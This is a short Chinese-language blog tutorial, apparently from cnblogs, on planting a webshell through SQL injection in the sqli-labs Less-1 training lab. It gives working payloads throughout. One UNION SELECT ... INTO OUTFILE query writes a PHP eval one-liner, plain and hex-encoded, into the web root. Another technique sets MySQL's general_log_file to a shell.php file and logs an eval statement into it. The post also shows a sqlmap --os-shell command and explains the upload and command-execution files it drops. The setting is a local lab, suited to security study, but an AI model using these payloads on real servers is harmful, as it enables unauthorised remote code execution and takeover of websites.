前提条件:
1.需要知道网站的绝对路径
2.secure_file_priv的值为空
3.需要足够的权限
4.GPC关闭可使用单引号
实验环境:sqli-labs-1
网站绝对路径:E:\phpstudy_pro\WWW\sqli-labs-master\Less-1
首先看secure_file_priv的值,如下,代表mysql有写入的权限
查看源码,没有任何防护,采用单引号闭合
利用into outfile函数来写入文件
?id=1' union select 1,<?php eval($_POST['shell']);?>,3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\shell.php'--+
出现错误,原因是因为特殊符号导致出错,用16进制对一句话木马进行编码
0x3C3F706870206576616C28245F504F53545B277368656C6C275D293B3F3E
最终的payload:
?id=1' union select 1,0x3C3F706870206576616C28245F504F53545B277368656C6C275D293B3F3E,3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\shell.php'--+
shell.php成功写入
可以拿蚁剑进行连接
sql注入日志写入shell
当我们访问sql的时候就会有对应日志生成
我们可以利用这一点然后在日志中写入一句话木马进行shell连接
首先我们要查看是否又开始日志记录并查看日志绝对路径
show variables like '%general%'
然后我们需要开启日志记录并且对日志路径进行修改放在网站路径下
set global general_log='on'; SET global general_log_file='<网站绝对路径>/shell.php'
搜索语句便会记录在sql日志当中,然后蚁剑就可以连接了
SELECT '<?php @eval($_POST["x"]);?>';
还可以sqlmap --os-shell来进行文件写入
原理:--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个tmpucuaj.php返回可以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。
payload:sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-shell
选择网站语言,网站的绝对路径
查看根目录
tmpbbxhv.php文件代码(作用执行cmd命令)
tmputxob.php文件代码(用来文件上传)
标签:getshell,shell,写入,labs,sqli,sql,日志,php,注入 From: https://www.cnblogs.com/mu-yi2/p/17234555.html